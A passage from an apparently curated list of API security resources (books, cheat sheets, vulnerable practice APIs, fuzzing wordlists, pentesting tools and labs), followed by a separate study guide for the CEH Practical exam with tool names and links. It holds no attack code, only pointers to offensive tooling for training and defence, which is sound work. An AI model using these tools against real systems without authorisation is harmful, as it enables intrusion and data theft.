dummies](https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWJ9kN) | This book is a high-level introduction to the key concepts of API security and DevSecOps. | | Neil Madden | Manning | [API Security in Action](https://www.manning.com/books/api-security-in-action)| API Security in Action teaches you how to create secure APIs for any situation. | | Dolev Farhi and Nick Aleks | No starch press | [Black Hat GraphQL](https://nostarch.com/black-hat-graphql) | Black Hat GraphQL (book in pre-order). | | Corey Ball | No starch press | [Hacking APIs](https://nostarch.com/hacking-apis)| Breaking Web Application Programming Interfaces. | | Justing Richer and Antonio Sanso | Manning | [Understanding API Security](https://livebook.manning.com/book/understanding-api-security/introduction/) | Several chapters from several Manning books that give you some context for how API security works in the real world. | ## Cheatsheets | Name | Description | | ---- | ----------- | | [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html) | GraphQL - OWASP Cheat Sheet Series | | [JSON Web Token Security Cheat Sheet](https://assets.pentesterlab.com/jwt_security_cheatsheet/jwt_security_cheatsheet.pdf) | PentesterLab - JSON Web Token Security Cheat Sheet | | [Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html) | Injection - OWASP Cheat Sheet Series | [Microservices Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Microservices_Security_Cheat_Sheet.html) | Microservices - OWASP Security Cheat Sheet | | [OWASP API Security Top 10](https://apisecurity.io/encyclopedia/content/owasp-api-security-top-10-cheat-sheet-a4.pdf) | 42Crunch - OWASP API Security Top 10 | | [REST Assessment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html) | REST Assessment - OWASP Cheat Sheet Series | | [REST Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html) | REST Security - OWASP Cheat Sheet Series | ## Checklist | Author | Name | Description | | ------- | ---- | ------------| | HolyBugx | [another API Security checklist](https://github.com/HolyBugx/HolyTips/blob/main/Checklist/API%20Security.pdf) | HolyTips: API security checklist | APIOps Cycles | [API audit checklist](https://www.apiopscycles.com/api-audit-checklist) | API Audit checklist. | | Shieldfy | [API-Security-Checklist](https://github.com/shieldfy/API-Security-Checklist) | Checklist of the most important security countermeasures when designing, testing, and releasing your API. | | API Mike, @api_sec | [API penetration testing checklist](https://apimike.com/api-penetration-testing-checklist) | Common steps to include in any API penetration testing process. | | Latish Danawale | [API Testing Checklist](https://hackanythingfor.blogspot.com/2020/07/api-testing-checklist.html) | API Testing Checklist. | | Inon Shkedy | [31 days of API Security Tips](https://github.com/smodnix/31-days-of-API-Security-Tips) | This challenge is Inon Shkedy's 31 days API Security Tips. | | Binary Brotherhood| [OAuth2: Security checklist](https://web.archive.org/web/20210607123429/https://www.binarybrotherhood.io/oauth2_threat_model.html)| OAuth 2.0 Threat Model Pentesting Checklist | | Apollo | [GraphQL API — GraphQL Security Checklist](https://www.apollographql.com/blog/graphql/security/9-ways-to-secure-your-graphql-api-security-checklist/) | 9 Ways To Secure your GraphQL API — GraphQL Security Checklist | | LeapGraph | [GraphQL API - The Complete Vulnerability Checklist](https://leapgraph.com/graphql-api-security/)| How to Secure a GraphQL API - The Complete Vulnerability Checklist | | Lokesh Gupta | [REST API Security Essentials](https://restfulapi.net/security-essentials/) | REST API Tutorial blog entry. | ## Conferences | Name | Description | | --------- | ----------- | | [APIsecure](https://apisecure.co) | The world's first conference dedicated to API threat management; bringing together breakers, defenders, and solutions in API security. | ## Deliberately vulnerable APIs | Name | Author | Description | | ---- | ------ | ----------- | | [APISandbox](https://github.com/API-Security/APISandbox) | [APISecurity Community](https://github.com/API-Security) | Pre-Built Vulnerable Multiple API Scenarios Environments Based on Docker-Compose. | | [Bookstore](https://tryhackme.com/room/bookstoreoc) | [sidchn](https://tryhackme.com/p/sidchn) | TryHackMe room - A Beginner level box with basic web enumeration and REST API Fuzzing. | | [crAPI](https://github.com/OWASP/crAPI) | [OWASP](https://github.com/OWASP) | completely ridiculous API (crAPI) | | [Damn-Vulnerable-GraphQL-Application](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application)| [dolevf](https://github.com/dolevf/) |Damn Vulnerable GraphQL Application is intentionally vulnerable implementation of Facebook's GraphQL technology to learn and practice GraphQL Security. | | [Damn Vulnerable Micro Services](https://github.com/ne0z/DamnVulnerableMicroServices) | [ne0z](https://github.com/ne0z) | This is a vulnerable microservice written in many languages to demonstrating OWASP API Top Security Risk (under development)| | [Damn Vulnerable Web Services](https://github.com/snoopysecurity/dvws-node) | [snoopysecurity](https://github.com/snoopysecurity) |Damn Vulnerable Web Services is a vulnerable web service/API/application that we can use to learn webservices/API vulnerabilities. | | [Generic-University](https://github.com/InsiderPhD/Generic-University) | [InsiderPhD](https://github.com/InsiderPhD) | Vulnerable API with Laravel App | | [node-api-goat](https://github.com/layro01/node-api-goat) | [layro01](https://github.com/layro01) | A simple Express.JS REST API application that exposes endpoints with code that contains vulnerabilities. | | [Pixi](https://github.com/DevSlop/Pixi) | [DevSlop](https://github.com/DevSlop) |The Pixi module is a MEAN Stack web app with wildly insecure APIs! | |[poc-graphql](https://github.com/righettod/poc-graphql) | [righettod](https://github.com/righettod) | Research on GraphQL from an AppSec point of view. | | [REST API Goat](https://github.com/optiv/rest-api-goat) | [optiv](https://github.com/optiv) | This is a "Goat" project so you can get familiar with REST API testing. | | [VAmPI](https://github.com/erev0s/VAmPI)| [erev0s](https://github.com/erev0s) |Vulnerable REST API with OWASP top 10 vulnerabilities for APIs | | [vAPI](https://github.com/roottusk/vapi)| [roottusk](https://github.com/roottusk) |vAPI is Vulnerable Adversely Programmed Interface which is Self-Hostable API that mimics OWASP API Top 10 scenarios through Exercises. | | [vulnapi](https://github.com/tkisason/vulnapi) | [tkisason](https://github.com/tkisason) | Intentionaly very vulnerable API with bonus bad coding practices. | | [vulnerable-graphql-api](https://github.com/CarveSystems/vulnerable-graphql-api) | [CarveSystems](https://github.com/CarveSystems) | A very vulnerable implementation of a GraphQL API. | | [Websheep](https://github.com/marmicode/websheep) | [marmicode](https://github.com/marmicode) | Websheep is an app based on a willingly vulnerable ReSTful APIs. | ## Design, Architecture, Development | Name | Description | | ---- | ----------- | | [The API Specification Toolbox](http://api.specificationtoolbox.com) | This Toolbox goal is to try and map out all of the different API specifications in use, as well as the services, tooling, extensions, and other supporting elements. | | [Understanding gRPC, OpenAPI and REST](https://cloud.google.com/blog/products/api-management/understanding-grpc-openapi-and-rest-and-when-to-use-them) | gRPC vs REST: Understanding gRPC, OpenAPI and REST and when to use them in API design | | [API security design best practices](https://habr.com/en/post/595075/) | API security design best practices for enterprise and public cloud. | | [REST API Design Guide](https://www.apiopscycles.com/resources/rest-api-design-guide) | This design guide or style guide contains best practices suitable for most REST APIs. | | [How to design a REST API](https://blog.octo.com/en/design-a-rest-api) | How to design a REST API? - Full guide tackling security, pagination, filtering, versioning, partial answers, CORS, etc. | [Awesome REST](https://github.com/marmelab/awesome-rest) | A collaborative list of great resources about RESTful API architecture, development, test, and performance. Feel free to contribute to this ongoing list. | [Collect API Requirements](https://www.apiopscycles.com/collecting-requirements)| Collecting Requirements for your API with APIOps Cycles. | | [API Audit](https://www.apiopscycles.com/method/api-audit) | API Audit is a method to ensure APIs are matching the API Design guidelines. It also helps check for usability, security and API management platform compatibility. | ## Encyclopedias, Projects, Wikis and GitBooks | Author | Name | Description | | -------- | ---- | ----------- | | @six2dez | [APIs Pentest Book](https://pentestbook.six2dez.com/enumeration/webservices/apis) | APIs Pentest Book | | @csbygb | [API Pentest tips](https://csbygb.gitbook.io/pentips/web-pentesting/api) | CSbyGB's Pentips | | cyprosecurity | [API Security Empire](https://github.com/cyprosecurity/API-SecurityEmpire) | The API Security Empire Project aims to present unique attack & defense methods in the API Security field | | @APIsecurity.io | [API Security Encyclopedia](https://apisecurity.io/encyclopedia/content/api-security-encyclopedia.htm) | API Security Encyclopedia | | @carlospolop | [Web API Pentesting](https://book.hacktricks.xyz/pentesting/pentesting-web/web-api-pentesting) | HackTricks - Web API Pentesting | | @carlospolop | [GraphQL](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql) | HackTricks - GraphQL | ## Enumeration, Scanning and exploration steps | Name | Description | | ---- | ----------- | | [Burp API enumeration](https://portswigger.net/support/using-burp-to-enumerate-a-rest-api) | Using Burp to Enumerate a REST API | | [ZAP scanning](https://www.zaproxy.org/blog/2017-06-19-scanning-apis-with-zap/) | Scanning APIs with ZAP | | [ZAP exploring](https://www.zaproxy.org/blog/2017-04-03-exploring-apis-with-zap/)| Exploring APIs with ZAP | | [w3af scanning](http://docs.w3af.org/en/latest/scan-rest-apis.html) | Scan REST APIs with w3af | ## Firewalls | Name | Description | | ---- | ----------- | | [Wallarm Free API Firewall](https://github.com/wallarm/api-firewall)| Fast and light-weight API proxy firewall for request and response validation by OpenAPI specs. | ## Fuzzing, SecLists, Wordlists | Name | Description | | ---- | ----------- | | [API names wordlist](https://github.com/chrislockard/api_wordlist) | A wordlist of API names for web application assessments | | [API HTTP requests methods](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/http-request-methods.txt) | HTTP requests methods wordlist by @danielmiessler | | [API Routes Wordlists](https://github.com/assetnote/wordlists/blob/master/data/automated.json) | API Routes - Automated Wordlists provided by Assetnote | | [Common API endpoints](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt) | Wordlist for common API endpoints. | | [Filenames by fuzz.txt](https://github.com/Bo0oM/fuzz.txt) | Potentially dangerous files | | [Fuzzing APIs](https://www.fuzzingbook.org/html/APIFuzzer.html)| Fuzzing APIs chapter from "The Fuzzing Book". | [GraphQL SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/graphql.txt) | It's a GraphQL list used during security assessments, collected in one place. | | [Hacking-APIs](https://github.com/hAPI-hacker/Hacking-APIs) | Wordlists and API paths by @hapi_hacker | | [Kiterunner Wordlists](https://github.com/assetnote/wordlists/blob/master/data/kiterunner.json) | Kiterunner Wordlists provided by Assetnote | | [List of API endpoints & objects](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d) | A list of 3203 common API endpoints and objects designed for fuzzing. | | [List of Swagger endpoints](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/swagger.txt) | Swagger endpoints | | [SecLists for API's web-content discovery](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api) | It is a collection of web content discovery lists for APIs used during security assessments. | ## HTTP 101 | Name | Description | | ---- | ----------- | |[Know your HTTP Headers!](http://prezo.s3.amazonaws.com/pixi_california_2018/basics/headers.pdf) | HTTP Headers: a simplified and comprehensive table. | |[Know your HTTP Methods!](http://prezo.s3.amazonaws.com/pixi_california_2018/basics/methods.pdf) | HTTP Methods: a simplified and comprehensive table. | |[Know your HTTP Status codes!](http://prezo.s3.amazonaws.com/pixi_california_2018/basics/status-codes.pdf) | HTTP Status codes: a simplified and comprehensive table. | | [HTTP Status Codes](https://httpstatuses.com/) | httpstatuses.com is an easy to reference database of HTTP Status Codes with their definitions and helpful code references all in one place. | |[Know your HTTP * Well](https://github.com/for-GET/know-your-http-well)| HTTP headers, media-types, methods, relations and status codes, all summarized and linking to their specification. | ## Mind maps | Author | Name | Description | | ------- | ---- | ----------- | | [Cypro AB](https://github.com/cyprosecurity) | [API Pentesting - ATTACK](https://github.com/cyprosecurity/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap%20ATTACK.pdf) | Mind map: API Pentesting - ATTACK | | [Cypro AB](https://github.com/cyprosecurity) | [API Pentesting - Recon](https://github.com/cyprosecurity/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap.pdf) | Mind map: API Pentesting - Recon | | [Cypro AB](https://github.com/cyprosecurity) | [GraphQL Attacking](https://github.com/cyprosecurity/API-SecurityEmpire/blob/main/assets/API%20Pentesting%20Mindmap%20%7B%7BGraphQL%20Attacking%7D%7D.pdf) | Mind map: GraphQL Attacking | | [Mufaddal Masalawala](https://github.com/harsh-bothra) | [IDOR Techniques](https://www.xmind.net/m/CSKSWZ/) | Mind map: IDOR Techniques | | [David Sopas](https://github.com/dsopas) | [MindAPI](https://dsopas.github.io/MindAPI/play/) | Organize your API security assessment by using MindAPI | [Harsh Bothra](https://github.com/muffyhub) | [XML attacks](https://www.xmind.net/m/xNEY9b/) | Mind map: XML attacks | | [Abhay Bhargav](https://twitter.com/abhaybhargav)| [REST API defenses](https://mobile.twitter.com/abhaybhargav/status/1373982049019654149/photo/1) | Mind map: REST API defenses | ## Newsletters | Author | Name | Description | | ------- | ---- | ----------- | | 42Crunch | [api security articles](https://apisecurity.io/#newsletter1) | API Security Articles - The Latest API Security News, Vulnerabilities & Best Practices. | | Dana Epp | [api hacker’s inner circle](https://apihacker.blog/) | API Hacker’s Inner Circle Newsletter. | ## Other resources Name | Author | Description | ---- | ------ | ----------- | | [API Hacking Articles](https://danaepp.com/blog)| Dana Epp | API Hacking Fundamentals, Tools, Techniques, Fails and Mindset articles. | | [API Security best practices guide](https://expeditedsecurity.com/api-security-best-practices-megaguide) | Expedited Security | API Security Best Practices MegaGuide | | [API Security: The Complete Guide](https://brightsec.com/blog/api-security) | Bright Security | API Security, The Complete Guide | | [API Penetration Testing](https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases) | SecureLayer7 | API Penetration Testing with OWASP 2017 Test Cases. | |[API Penetration Testing Report](https://underdefense.com/wp-content/uploads/2019/05/Anonymised-API-Penetration-Testing-Report.pdf) | UnderDefense | Anonymised API Penetration Testing Report - vendor sample template | | [API Pentesting with Swagger Files](https://rhinosecuritylabs.com/application-security/simplifying-api-pentesting-swagger-files/) | RhinoSecurityLabs | Simplifying API Pentesting With Swagger Files. | | [API security path resources](https://dsopas.github.io/MindAPI/references/) | MindAPI | Resources to help out in the API security path; diverse content from talks/webinards/videos, must read, writeups, bola/idors, oauth, jwt, rate limit, ssrf and practice entries. | | [API Security Testing](https://sphericaldefence.com/api-security-testing) | Spherical Defence | Principles of API Security Testing and how to perform a Security Test on an API. | | [Finding and Exploiting Web App APIs](https://bendtheory.medium.com/finding-and-exploiting-unintended-functionality-in-main-web-app-apis-6eca3ef000af) | Bend Theory | Finding and Exploiting Unintended Functionality in Main Web App APIs | [How to Hack an API and Get Away with It](https://smartbear.com/blog/test-and-monitor/api-security-testing-how-to-hack-an-api-part-1/)| SmartBear | How to Hack an API and Get Away with It (Part 1 of 3). | | [How to Hack APIs in 2021](https://labs.detectify.com/2021/08/10/how-to-hack-apis-in-2021) | Detectify | How to Hack APIs in 2021 | | [How to Hack API in 60 minutes with Open Source Tools](https://www.wallarm.com/what/how-to-hack-api-in-60-minutes-with-open-source) | Wallarm | How to Hack API in 60 minutes with Open Source Tools | | [GraphQL penetration testing](https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/) | YesWeHAck | How to exploit GraphQL endpoint: introspection, query, mutations & tools. | | [Fixing the 13 most common GraphQL Vulnerabilities](https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready)| WunderGraph | GraphQL Security Guide, Fixing the 13 most common GraphQL Vulnerabilities to make your API production ready. | | [Hacking APIs - Notes from Bug Bounty Bootcamp](https://attacker-codeninja.github.io/2021-08-28-Hacking-APIs-notes-from-bug-bounty-bootcamp/)| Aakash Choudhary | My Notes on Hacking APIs from Bug Bounty Bootcamp. | | [SOAP Security Vulnerabilities and Prevention](https://www.neuralegion.com/blog/top-7-soap-api-vulnerabilities/) | NeuraLegion | SOAP Security, Top Vulnerabilities and How to Prevent Them. | | [API and microservice security](https://portswigger.net/burp/vulnerability-scanner/api-security-testing/guide-to-api-microservice-security) | PortSwigger | What are API and microservice security? | | [Strengthening Your API Security Posture](https://42crunch.com/knowledge-series/strengthening-api-security-posture/) | 42Crunch | Strengthening Your API Security Posture – Ford Motor Company. | | [The Fault in Our Stars](https://www.tenchisecurity.com/blog/thefaultinourstars) | Tenchi Security | Security Implications of AWS API Gateway Lambda Authorizers and IAM Wildcard Expansion. | ## Playlists | Name | Description | | ---- | ----------- | | [Everything API Hacking](https://www.youtube.com/playlist?list=PLbyncTkpno5HqX1h2MnV6Qt4wvTb8Mpol) | A video collection from Katie Paxton-Fear, @InsiderPhD, and other people creating a playlist of API hacking knowledge! | | [API hacking](https://www.youtube.com/c/TheXSSrat/search?query=API%20hacking)| API hacking videos from @theXSSrat | ## Podcasts | Name | Description | | ---- | ----------- | | [Hacking APIs](https://forallsecure.com/blog/the-hacker-mind-podcast-hacking-apis) | The Hacker Mind Podcast: Hacking APIs | | [Hack Your API-Security Testing](https://testguild.com/podcast/automation/21-troy-hunt-hack-your-api-security-testing/) | 21: Troy Hunt: Hack Your API-Security Testing. | | [The OWASP API Security Project](https://podcast.securityjourney.com/erez-yalon-the-owasp-api-security-project/) | Erez Yalon — The OWASP API Security Project | | [Episode 38 API Security Best Practices](https://wehackpurple.com/podcast/episode-38-api-security-best-practices/) | We Hack Purple Podcast Episode 38 API Security Best Practices. | ## Presentations, Videos | Name | Description | | ---- | ----------- | | [pentesting-rest-apis](https://www.slideshare.net/OWASPdelhi/pentesting-rest-apis-by-gaurang-bhatnagar) | Pentesting Rest API's by Gaurang Bhatnagar | | [Securing your APIs](https://owasp.org/www-chapter-singapore/assets/presos/Securing_your_APIs_-_OWASP_API_Top_10_2019,_Real-life_Case.pdf) | "How Secure are you APIs?" - Securing your APIs: OWASP API Top 10 2019, Case Study and Demo. | | [api-security-testing-for-hackers](https://www.bugcrowd.com/resources/webinars/api-security-testing-for-hackers) | API Security Testing For Hackers | | [bad-api-hapi-hackers](https://www.bugcrowd.com/resources/webinars/bad-api-hapi-hackers)| Bad API, hAPI Hackers! | | [disclosing-information-via-your-apis](https://www.bugcrowd.com/resources/webinars/hidden-in-plain-site-disclosing-information-via-your-apis/) | Hidden in Plain Site: Disclosing Information via Your APIs. | | [rest-in-peace-abusing-graphql](https://www.bugcrowd.com/resources/webinars/rest-in-peace-abusing-graphql-to-attack-underlying-infrastructure) | REST in Peace: Abusing GraphQL to Attack Underlying Infrastructure. | ## Projects | Name | Description | | ---- | ----------- | | [owasp api security project](https://owasp.org/www-project-api-security/) | OWASP API Security Project - API Security Top 10 | ## Security APIs | Name | Description | | ---- | ----------- | | [awesome-security-apis](https://github.com/jaegeral/security-apis)| A collective list of public JSON APIs for use in security. | ## Specifications | Name | Description | | ---- | ----------- | | [API Blueprint](https://apiblueprint.org/documentation/specification.html)| API Blueprint Specification | | [AscyncAPI](https://www.asyncapi.com/docs/specifications/latest) | AsyncAPI Specification | | [OpenAPI](https://swagger.io/specification/) | OpenAPI Specification | | [JSON API](https://jsonapi.org/format/) | JSON API Specification | | [GraphQL](https://spec.graphql.org/) | GraphQL Specification | | [RAML](https://github.com/raml-org/raml-spec) | RAML Specification | ## Tools | Name | Description | | ---- | ----------- | | | | | **GraphQL** | | [BatchQL](https://github.com/assetnote/batchql) | GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations. | | [clairvoyance](https://github.com/nikitastupin/clairvoyance) | Obtain GraphQL API schema despite disabled introspection! | | [InQL](https://github.com/doyensec/inql) | InQL - A Burp Extension for GraphQL Security Testing. | | [graphql-cop](https://github.com/dolevf/graphql-cop) | Security Auditor Utility for GraphQL APIs. | | [GraphQLmap](https://github.com/swisskyrepo/GraphQLmap)| GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. | | [graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) | Tool that lists the different ways of reaching a given type in a GraphQL schema. | | [graphql-playground](https://github.com/graphql/graphql-playground) | GraphQL IDE for better development workflows (GraphQL Subscriptions, interactive docs & collaboration) | | [graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) | GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations. | | [graphw00f](https://github.com/dolevf/graphw00f) | graphw00f is GraphQL Server Engine Fingerprinting utility for software security professionals looking to learn more about what technology is behind a given GraphQL endpoint. | | | | | **REST APIs** | | [Akto](https://github.com/akto-api-security/akto) | API discovery, automated business logic testing and runtime detection | | [APICheck](https://bbva.github.io/apicheck/) | The DevSecOps toolset for REST APIs. | | [APIClarity](https://github.com/apiclarity/apiclarity) | Reconstruct Open API Specifications from real-time workload traffic seamlessly. | | [APIFuzzer](https://github.com/KissPeter/APIFuzzer) | Fuzz test your application using your OpenAPI or Swagger API definition without coding. | | [APIKit](https://github.com/API-Security/APIKit) | APIKit:Discovery, Scan and Audit APIs Toolkit All In One. | | [Arjun](https://github.com/s0md3v/Arjun) | HTTP parameter discovery suite. | | [Astra](https://github.com/flipkart-incubator/Astra) | Automated Security Testing For REST API's. | | [Automatic API Attack Tool](https://github.com/imperva/automatic-api-attack-tool) | Imperva's customizable API attack tool takes an API specification as an input, generates and runs attacks that are based on it as an output. | | [CATS](https://github.com/Endava/cats) | CATS is a REST API Fuzzer and negative testing tool for OpenAPI endpoints. | | [Cherrybomb](https://github.com/blst-security/cherrybomb) | Stop half-done API specifications with a CLI tool that helps you avoid undefined user behaviour by validating your API specifications. | | [ffuf](https://github.com/ffuf/ffuf) | Fast web fuzzer written in Go. | | [fuzzapi](https://github.com/Fuzzapi/fuzzapi)| Fuzzapi is a tool used for REST API pentesting anTnT-Fuzzerd uses API_Fuzzer gem. | | [gotestwaf](https://github.com/wallarm/gotestwaf) | An open-source project in Golang to test different web application firewalls (WAF) for detection logic and bypasses | | [kiterunner](https://github.com/assetnote/kiterunner) | Contextual Content Discovery Tool. | | [Metlo](https://github.com/metlo-labs/metlo) | Open-source API security tool to discover, inventory, test, and protect your APIs. | | [mitmproxy2swagger](https://github.com/alufers/mitmproxy2swagger) | Automagically reverse-engineer REST APIs via capturing traffic | | [Optic](https://github.com/opticdev/optic) | Verify the accuracy of your OpenAPI 3.x spec using real traffic and automatically apply patches that keep it up-to-date | | [REST-Attacker](https://github.com/RUB-NDS/REST-Attacker) | Designed as a proof-of-concept for the feasibility of testing generic real-world REST implementations. Its goal is to provide a framework for REST security research. | | [RESTler](https://github.com/microsoft/restler-fuzzer) | RESTler is the first stateful REST API fuzzing tool for automatically testing cloud services through their REST APIs and finding security and reliability bugs in these services. | | [Swagger-EZ](https://github.com/RhinoSecurityLabs/Swagger-EZ)| A tool geared towards pentesting APIs using OpenAPI definitions. | | [TnT-Fuzzer](https://github.com/Teebytes/TnT-Fuzzer) | OpenAPI 2.0 (Swagger) fuzzer written in python. Basically TnT for your API. | | [wadl-dumper](https://github.com/dwisiswant0/wadl-dumper) | Dump all available paths and/or endpoints on WADL file. | | [fuzz-lightyear](https://github.com/Yelp/fuzz-lightyear)| A pytest-inspired, DAST framework, capable of identifying vulnerabilities in a distributed, micro-service ecosystem through chaos engineering testing and stateful, Swagger fuzzing. | | | | | **SOAP** | | [Wsdler](https://github.com/NetSPI/Wsdler)| WSDL Parser extension for Burp. | | [wsdl-wizard](https://github.com/portswigger/wsdl-wizard)| WSDL Wizard is a Burp Suite plugin written in Python to detect current and discover new WSDL (Web Service Definition Language) files. | | | | | **Others**| | [dredd](https://github.com/apiaryio/dredd)| Language-agnostic HTTP API Testing Tool | | [getallurls (gau)](https://github.com/lc/gau) | Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl. | | [SoapUI](https://github.com/SmartBear/soapui) | SoapUI is a free and open-source cross-platform functional testing solution for APIs and web services. | | [Step CI](https://github.com/stepci/stepci) | Open-source framework for API Quality Assurance, which tests REST, GraphQL and gRPC automated and from Open API spec. | | [unfurl](https://github.com/tomnomnom/unfurl) | Pull out bits of URLs provided on stdin | ## Training, Workshops, Labs | Author | Name | Description | | ------ | ---- | ----------- | | Pentester Academy | [API security, REST Labs](https://attackdefense.pentesteracademy.com/listing?labtype=rest&subtype=rest-api-security) | Pentester Academy - attack & defense | | Corey Ball | [API Security University](https://university.apisec.ai) | APIsec University provides training courses for application security professionals | | Grant Ongers | [API top 10 walkthrough](https://securedelivery.io/articles/api-top-ten-walkthrough/) | OWASP API Top 10 CTF Walk-through. | | Karel Husa | [BankGround API](https://bankground.eu) | Banking-like REST and GraphQL API for training/learning purposes. | | Hacker101 | [GraphQL challenges](https://www.hackerone.com/ethical-hacker/graphql-week-hacker101-capture-flag-challenges) | GraphQL Week on The Hacker101 Capture the Flag Challenges | | OWASP-SKF | [GraphQL Labs](https://demo.securityknowledgeframework.org/labs/view) | GraphQL Labs on the OWASP Security Knowledge Framework | | Corey Ball | [Hacking APIs](https://sway.office.com/HVrL2AXUlWGNDHqy) | Hacking APIs: workshop | | Wesley Thijs | [Let's build an API to hack](https://hackxpert.com/blog/API-Hacking-Excercises/) | API Hacking Excercises by @TheXSSrat | | Kontra | [OWASP Top 10 for API](https://application.security/free/owasp-top-10-API) | Is a series of free interactive application security training modules that teach developers how to identify and mitigate security vulnerabilities in their web API endpoints. | | ShipFast | [Practical API Security Walkthrough](https://github.com/approov/shipfast-api-protection) | Learn practical Mobile and API security techniques: API Key, Static and Dynamic HMAC, Dynamic Certificate Pinning, and Mobile App Attestation. | | Tushar Kulkarni | [vAPI](https://github.com/roottusk/vapi) | vAPI is Vulnerable Adversely Programmed Interface, Self-Hostable PHP Interface that mimics OWASP API Top 10 scenarios in the means of Exercises. | ## Twitter | Author | Name | Description | | ---------------- | ---------------------------------------------------- | ----------------------------------------------------- | | 42Crunch | [@apisecurityio](https://twitter.com/apisecurityio) | API security news, standards, vulnerabilities, tools. | | Corey J. Ball | [@hAPI_hacker](https://twitter.com/hAPI_hacker) | Cybersecurity consulting manager | | Dana Epp | [@ddǝɐuɐp](https://twitter.com/danaepp) | Microsoft Security MVP | | David Sopas | [@dsopas](https://twitter.com/dsopas) | Security Researcher | | Katie Paxton-Fear | [@InsiderPhD](https://twitter.com/InsiderPhD) | Lecturer and hacker | ## Contributions 1. The purpose of this repository is to collect API Security tools and resources. The preference goes to open-source or community editions tools, creative commons resources, and resources created by the community for the benefit of the community. The exception is in the book's topic, where some referenced items may have an associated cost. 2. Other content vendor-specific, ads, commercial, restricted, free trial, freemium, closed-source (proprietary software), products or services provided in exchange for private user details are considered out of scope pull requests. 3. Content or materials not directly related to API security, hunting bugs in APIs, hardening or hacking APIs may also be discarded. 4. Duplicated content or entries that do not provide additional or relevant content compared with existing entries may also not be considered. 5. Out of scope pull requests will be probably discarded, closed or ignored without notice. 6. The twitter section reference authors of books, videos, workshops, courses, newsletters or content already existent on this repository. This is a bit subjective and may not be consensual at all! Even though it can bring division I decided to add the section since it might be useful to some of the visitors of the repository. 7. If you are an author of tools/content and your description is not accurate on twitter or other section let me know! If you think your content fits the above purposes, please - create a new branch - change README.md - push the new changes - open a pull request For more details check GitHub [quickstart/contributing-to-projects](https://docs.github.com/en/get-started/quickstart/contributing-to-projects)
# Guide-CEH-Practical-Master ### **Exame Details** - Exam Title: Certified Ethical Hacker (Practical) - Number of Practical Challenges: 20 - Duration: 6 hours - Availability: Aspen – iLabs - Test Format: iLabs Cyber Range - Passing Score: 70% (14 Questions) -------------------------------------------- **Exam Tips** - Vulnerability analysis to identify security loopholes in the target organization’s network, communication infrastructure, and end systems, etc; - System hacking, steganography; - Network scanning to identify live and vulnerable machines in a network; - OS banner grabbing, service, and user enumeration; - Different types of cryptography attacks; - SQL injection attacks; - Packet sniffing; -------------------------------------------- **Format** - Realized Test with Web Browser iLabs - One Kali Linux (No Update) and Windows Server 2016 to perform the pentest - Five machines to compromise on an isolated network from the internet - Search in Google? (Yes!) - Talk to someone during the race? (No!) -------------------------------------------- ### **Tools** - Nmap - Hydra - Sqlmap - Wpscan - Nikto - John - Hashcat - Metasploit - Responder LLMNR - Wireshark or Tcpdump - Steghide - OpenStego - QuickStego - Dirb - Searchsploit - Crunch - Cewl - Veracrypt - Hashcalc - Rainbow Crack -------------------------------------------- ### **Helps** - Reddit Exam Reviews - Medium Exam Reviews - Professionals Certificate - Hack The Box (Challenges Steganography and Web) (https://www.hackthebox.eu/) - Vulnhub (Machines Easy to Medium) (https://www.vulnhub.com/) - Labs PenTest Brazil (CEH Course made in Major Eder ft ACADI-TI) (https://acaditi.com.br/ceh-v10-treinamento-certified-ethical-hacker/) - TryHackMe (https://tryhackme.com/) / https://tryhackme.com/room/wirectf / https://tryhackme.com/room/wirectf / https://tryhackme.com/room/hydra / https://tryhackme.com/room/sqli / https://tryhackme.com/room/crackthehash / https://medium.com/@kyryloren/jack-writeup-by-kyryloren-tryhackme-e41cff4e1c55 - iLabs CEH (https://ilabs.eccouncil.org/ethical-hacking-exercises/) - CEH Exam Guide (https://medium.com/techiepedia/certified-ethical-hacker-practical-exam-guide-dce1f4f216c9) -------------------------------------------- ### **Examples Questions (There are the real issues)** - What is the IP of the Windows X machine? - What is the version of the Linux Kernel? - How many Windows machines are there? - What is the password for user X of the FTP server? - What is user X's IBAN number? - Which user X's phone number? - What is the password hidden in the .jpeg file? -------------------------------------------- ### **Attacks Vector** https://www.upguard.com/blog/attack-vector https://searchsecurity.techtarget.com/definition/attack-vector https://www.balbix.com/insights/attack-vectors-and-breach-methods/ https://attack.mitre.org/ https://searchsecurity.techtarget.com/definition/attack-vector#:~:text=An%20attack%20vector%20is%20a,vulnerabilities%2C%20including%20the%20human%20element. https://www.youtube.com/watch?v=LsuoJb7n3co https://www.youtube.com/watch?v=rcB4EZLfi7I https://www.youtube.com/watch?v=dz7Ntp7KQGA -------------------------------------------- ### **Network Scanning** https://nmap.org/man/pt_BR/index.html https://nmap.org/docs.html https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/ https://hackertarget.com/nmap-tutorial/ 